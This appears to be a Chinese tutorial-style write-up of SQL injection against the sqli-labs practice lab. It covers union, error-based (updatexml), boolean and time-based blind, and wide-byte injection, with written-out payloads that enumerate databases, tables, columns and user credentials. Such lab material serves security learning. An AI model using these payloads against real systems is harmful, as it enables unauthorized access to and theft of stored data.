根据注入模式分类

  • 基于联合查询的注入模式
  • 基于报错的注入模式
  • 解决使用updatexml取值显示不全:
  • 基于布尔的盲注
  • 基于时间的盲注
  • 堆查询的注入模式(目前还未尝试)
  • 宽字节注入


基于联合查询的注入模式

以sqli-labs第一关为例
首先判断是什么类型的注入
输入?id=1正常,输入?id=1’报错,所以判断为是字符型注入,闭合字符为’

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_Java判断SQL语句是否包含注入风险


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_02

判断列数,使用order by命令,末尾输入%23注释掉后面的部分
输入order by = 4报错,输入order by = 3正常,所以判断共有三列

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_03


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_04

判断显示位,使用union联合查询命令,将前面的指令改为假才可以显示出后面指令的结果。
结果显示第二三位是回显字段,可以在第二三位输入指令,结果会在页面上显示

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_05

查看该数据库版本和当前数据库,当前数据库为security,版本为5.5.44

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_06

判断当前数据库用户,结果为root

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_07

查询当前数据库下的所有表

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_08

查看当前数据库下user表中的所有列名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_09

查看user表中的全部信息

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_10

基于报错的注入模式

以sqli-labs第五关为例
判断注入类型,结果为字符型,闭合字符为’

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_11


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_12

使用updatexml函数查看数据库名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_13

查询当前数据库下的所有表

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_14

查看当前数据库下user表中的所有列名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_15

查看user表中的全部信息,但是显示不全

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_16

解决使用updatexml取值显示不全:

方法一: 以less-1为例,使用limit语句限制输出个数,如下图命令意为输出从1个,从第0个开始。
?id=1’and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_17

方法二: 可以使用mid函数从文本中提取信息,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数,可以分段显示查询的字段,直至看到全部字段,如下图分三次查看users表中的全部用户名.

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_18


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_19


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_20

基于布尔的盲注

以sqli-labs第八关为例
首先判断闭合字符,在输入’和’)时页面都显示异常且无报错信息,使用逻辑运算符进一步确定闭合字符,结果在使用’且后半句条件为真的基础上页面显示正常,所以闭合字符为’,为字符型注入

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_21

求当前数据库的长度,通过尝试得出长度为8

?id=1'and length(database())=8 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_22

求当前数据库名,根据结果,对比ASCII码表得出数据库名为security

?id=1'and ascii(substring(database(),1,1))=115 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_23

?id=1'and ascii(substring(database(),2,1))=101 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_24

?id=1'and ascii(substring(database(),3,1))=99 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_25

?id=1'and ascii(substring(database(),4,1))=117 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_26

?id=1'and ascii(substring(database(),5,1))=114 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_27

?id=1'and ascii(substring(database(),6,1))=105 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_28

?id=1'and ascii(substring(database(),7,1))=116 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_Java判断SQL语句是否包含注入风险_29

?id=1'and ascii(substring(database(),8,1))=121 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_30

求表的数量结果显示有四个表

?id=1'and (select count(table_name) from information_schema.tables where table_schema='security'limit 0,1) = 4 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_31

爆表名,结果表名分别为emails,referrers,ugents,users,下图为爆第一个表表名首字母是否为e

?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_32

下图为爆第二个表表名首字母为r,修改linmit语句切换数据表

?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114 -- +

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_33

使用user表报字段名,结果有三个字段分别为id,username,password

?id=1'and ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1)) = 105--+

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_34

最后爆库

?id=1'and ascii(substring((select id from users limit 0,1),1,1)) = 49 --+

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_35

?id=1'and ascii(substring((select username from users limit 0,1),1,1)) = 68 --+

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_36

?id=1'and ascii(substring((select password from users limit 0,1),1,1)) = 68 --+

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_37

基于时间的盲注

以sqli-labs第九关为例
尝试四个闭合字符页面都显示正常,考虑使用时间型注入模式
使用’配合sleep()函数构造payload时,发现页面响应时间在设定的5秒左右,即sleep()函数被执行,所以判断出闭合字符为’

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_38

然后使用相同的办法先获取数据库长度,再获取数据库名每一位的ascii值,由此确定数据库名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_39


Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_40

确定数据库名为security后,同样的方法爆数据表的数量

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_41


爆表名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_42

使用users表爆列名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_43

最后爆库,注意SQL语句与注释符之间有空格,没有空格会报错

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_44

堆查询的注入模式(目前还未尝试)

宽字节注入

以sqli-labs第三十二关为例
这一关没有输入框需要使用GET或POST方法传参,在使用GET方法输入?id=1’时,报错信息显示在我们输入的原有基础上增加了一个\

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_数据库_45

所以将注入的命令变为?id=00%bf’,通过报错信息可以看到闭合字符为’

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_ci_46

这里的命令参考了两位大佬的文章,有不理解的可以做下参考

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_Java判断SQL语句是否包含注入风险_47

爆数据表,由于无法输入’所以无法输入’security’,这里可以使用database()代替当前数据库名称,也可以使用十六进制数表示

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_表名_48

爆users表下列名

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_sql_49

爆库

Java判断SQL语句是否包含注入风险 判断sql注入是什么类型_Java判断SQL语句是否包含注入风险_50

如有错误,欢迎批评指正[鞠躬]